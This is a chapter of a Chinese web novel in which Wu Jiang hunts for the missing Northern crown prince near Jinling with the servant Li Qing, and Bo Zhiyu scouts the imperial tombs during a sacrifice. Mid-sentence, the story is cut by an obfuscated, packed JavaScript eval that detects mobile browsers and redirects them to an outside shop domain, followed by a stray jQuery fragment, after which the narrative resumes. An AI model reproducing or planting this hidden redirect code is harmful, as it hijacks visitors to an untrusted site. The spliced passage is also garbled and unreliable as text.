皇天后土。
年关之后接连发生了几件大事。
第一,朝廷新任命的老将军在河谷之地智高一筹,险胜吴刚的北山大军,两方陷入焦灼之战。第二,幼帝身子不爽,多日未曾上朝,但也有流言说是因为幼帝狂妄屡屡顶撞太后,遭太后私囚宫中。第三,吴刚战事失利后,旧病缠身的北山帝决定亲驾南朝之地,指挥战事。
天下分割,南北两朝都在翘首以盼,在这动一发则牵全身的关键时刻,走动关系的,拜山门的,暗中激流欢腾涌动。
吴刚在送吴江走时,说:“陛下亲征,固有因我战事失利的缘故,但更多的定是为太子失踪一事烦忧。”
吴刚:【北朝继承人,可就这一个宝贝疙瘩。】
吴江想:【北山帝多年不近女色,若是失去太子,北朝根基不稳。但若是太子也不近女色......】
吴刚又说:“如今已有线报,太子踪迹疑似在金陵城出现。你前往后,定要不顾一切代价,保护太子安危!”
“我命吴海带一队亲信,从栈道出发,前往金陵城暗中助你。千万千万,不能让南朝的人抢先发现太子的踪迹。”
吴刚:【这小祖宗该不会是迷路了,怎么会跑南边去。】
吴江:【虽然隐隐猜到太子会跑到南边去的原因,但是就算如实告诉将军,将军也不会愿意相信野马姑爷有这么大影响力。】
将军和亲信对视一眼,双双叹了口气。
吴刚觉得,要不是他被那老将一枪挑破了肩膀和大腿,早着急的自己飞到金陵城去了。
而吴江在发愁,如果太子殿下真的是因为小两口闹架才一路前往京都,着见面之后,该怎么相劝呢......
想再多也没有用,吴江轻装上阵,一匹快马急急吼吼的赶往金陵城。
他连夜赶路,一直到了快临近金陵城的岔路口才歇了歇脚。进到茶铺中,吴江刚坐下喝了杯茶水,就看到一小厮打扮的年轻人弓腰弯背,悄莫声息的在茶客身边游走。
年轻人声音又小心又可怜兮兮。
“大人,您看见过这个人吗?”
“大娘,你看见过这个人吗?”
“这位大爷,您在这蹲了这么多天,有没有见过这个小少爷啊?”
“对对对,长这么高,身材大概是这样。好看。不错不错,是好看。当然了,这当然是个男的。”
吴江:“......”好像有点眼熟。
他不动声色的走近,再仔细看了看,月光之下,曾经跟在薄小少爷身边的那个小厮霍然出现在他眼前。
风尘仆仆,也瘦了些。
吴江摇摇头,伸手搭在了李庆的肩膀上,开口道:“你这样问,只会给别人造成麻烦。”
金陵城与京都城的交叉口。
月黑风高,天朗星繁。
这两者并不冲突,李庆脸上的神情就是如此,一会眉头紧锁,一会雨过天晴,短短的时间内,将过山车般的心路历程表达了一个遍。
这个年轻人的表情最后定格在了兴奋点头上。
“我信了!你快带我去找少爷!”他飞快道:“少爷人如果真在金陵城,那麻烦可就大了,得赶紧找到他!”
吴江怔了一下,没待细问,就被李庆催着赶路。
“先走,先走再说。”
李庆向来嘴巴大,没一会就将自己这一路从江南城跟随薄老二和曹母跑到北京城,又从北京城跑到京都城,最后再从京都城来到岔路口的过程喋喋不休的讲了一通。
以下为总结片段,部分和原文原剧情一致。
若没有薄止余让薄老二和李庆去寻曹母,这两人命运大抵是被烧死在了薄府内,成为play的一环。
【那日城破后,李庆和曹母等人被拦在了江南城外面的道馆里,无法进入城内。此时,山下匪徒流窜、烧杀抢掠,闹的道馆中人心惶惶。但曹母一直很淡定,让众人不用担心。
结果也正如她所料。在匪徒试图上山抢掠时,北山军营有一支偏军及时赶到。据说这支军队奉北山王的命令,要将曹母平安的护送到北京城。
这时候,曹母、薄老二、李庆尚未来得及和薄家的大部队汇合。在偏军将领的催促下,曹母做主,几人先行上路。这里面李庆虽然记挂少爷的安危,但也无法扭转主母的意志。他一路盼星星盼月亮的等到了薄家大部队汇合。
但他这才惊愕的发现,薄家竟无一人知道小少爷的下落。】
李庆讲起这段,咬牙切齿,十分为少爷不值。
“大少爷还诽谤小少爷,说他目光短浅,为了一介外室,危难之际弃家族于不顾——可恨,少爷才不是这样的人。嗝!”
吴江:“......”
他将怀里的手帕拿出来,递给对方。
李庆也没客气,接过来就是一顿愤恨的揉搓,将眼睛、鼻子都擦拭干净,才继续道:“他们都说小少爷肯定死在江南城了,但我李庆活要见人死要见尸。”
他顿了一下,才含糊道:“所以,我赶来找曹老太君为小少爷做主。”
千里迢迢,一个小厮自作主张跑来找薄止余的外祖母做主。
李庆沉默以对,虽然他没有开口相问,但也从李庆的语义不详中猜测出了七八分。
薄家上下果真无人在意薄止余的死活,就连生母曹氏也冷眼漠视。赤衣少年眉眼恹恹,面色苍白,气质阴郁,一切都有了答案。
李庆继续说。
“我在江南城找了几日,确定了少爷还活着的消息,就来京都了。”
吴江打断他,“你从何处得知他还活着?”
李庆:“我在临湖小院发现了少爷留下的信。”他左右看看,“你别告诉少爷,我真的没打开看。”
吴江:......
好吧,一切都串联起来了。
这时,他已经确定李庆虽然去了一趟北朝,但他没有自作主张的到处宣扬韩谷的存在。虽然一个小厮不会引起什么注意,但还是确认过后才能放心。
至于李庆后面吧啦吧啦吐黑泥,诉说自己多么多么不容易,在路上吃了多少苦头......吴江表面耐心的点头,实际上心神已然飞到了金陵城。
主子的消息不会有错。
太子定在金陵城。
金陵城内,唯一见过太子的只有南朝大臣王文平,他必须要抢在南朝其他官员注意到金陵城前,找到太子!
两年前。
当时南北还没有分裂,先皇初驾崩,临终前留下圣旨,册封了几位辅政大臣,其中包括当朝林相、御林军将领、还有几位年轻的文官。
这圣旨至今仍存疑,这些人之中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093992|148672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,除林相外,其他人之前从未显山露水。此外,更重要的一点是先皇与北山王情深义重,竟只字未提。
后来太后携旁支幼子登基,垂帘听政,第一道圣旨就是命北山王卸下军权,回京俯首新帝,同时为先皇守孝三年!
可北山王听闻先皇驾崩,旧伤复发,于床榻昏迷不起。
在局势岌岌可危,铡刀几乎架在脖子上的紧急情况下,当年还是世子的韩谷选择独身前往南朝拜见新任帝王。
满朝文武有资格上殿者,都见过这位北山世子。
这一夜,窗外有雨。
王文平梦见了那满朝寂静到就连掉下一根针都能清楚听见的一幕。
——曹老太君对先皇唯一留下的儿子北山王很是挂念,在韩谷进宫的前一日,反复叮嘱过女婿,帮她看看北山王的独子是个什么模样。
然而,凝滞的气氛如深海包裹,令人大气都不敢出,更何谈抬首窥探。
王文平似乎听到全天下最尊贵的女人询问这位年轻又善良到单纯的世子。
“哦,观你并未继承北山王的一根头发丝。想来,是肖母了?”
那语调,恶意玩弄。
雨声渐急。
王文平惊醒时,夜还深着,未到翌日祭祀的时候,但他已然睡不下去,起身穿戴整齐,端坐在堂内等待天亮。
天大亮时。
温暖的阳光划破阴沉的云层,从窗户洒进,落在韩谷浓密而低垂的长睫上,感受到热意,他微微睁开双眼。
又是一夜好眠。
走出门,注意到一丛野草顶着青石缝隙冒了出来,他驻足盯着瞧了一会,心情明快。
想来今天定会一切顺利。
这样想完,他加快脚步赶往之前与焦则说定的碰面之地。
......
薄止余早在祭祀前一夜就到皇陵里待着了,当着几位工部小吏的面,他有意放慢了整理账簿的速度。
后来他们和其他算账之人熬不住了,就只留他一个人。
偌大的皇陵。
他用频频上茅厕的方式,大致转了一遍,偶然遇到巡逻之人,神情自若,倒也没人怀疑有人会在皇陵重地踩点。
索性,薄止余没打算真的偷盗皇陵,仅仅是为了以防万一。
若二姨丈要拿他的脑袋去请功,他也好尽快溜之大吉。
皇陵很大,但格局十分制式。薄止余只逛了一个园子,就大抵清楚了这其中的布局。等到转身后,他才后知后觉发现顶处挂着的是北山王的墓穴。
皇室有提前筹备墓穴的传统,这不足为奇。
只是,他眯起眼,还是第一次正面得知当朝皇室的姓氏。
——韩......韩绥。
看清墓穴上的铭字,薄止余不免嘀咕:开国皇帝据说是出自乡野,姓氏够普罗大众,有点老朱家的意思。
他没有多留,抬脚回到值室,乖乖的等待祭祀开始。
敲锣打鼓的声音在天微亮的时候就响了起来,一直要响到正午时分,黄辰吉日。
早上的祭祀比较简单,上供的食物在殿前过了一遍后,由王文平做主,分给了周围等待的百姓们。之后,皇陵众人包括薄止余也分到了一碗米粥和一盘小菜。
里面紧锣密鼓,外面也很热闹,临时行程的早市熙熙攘攘。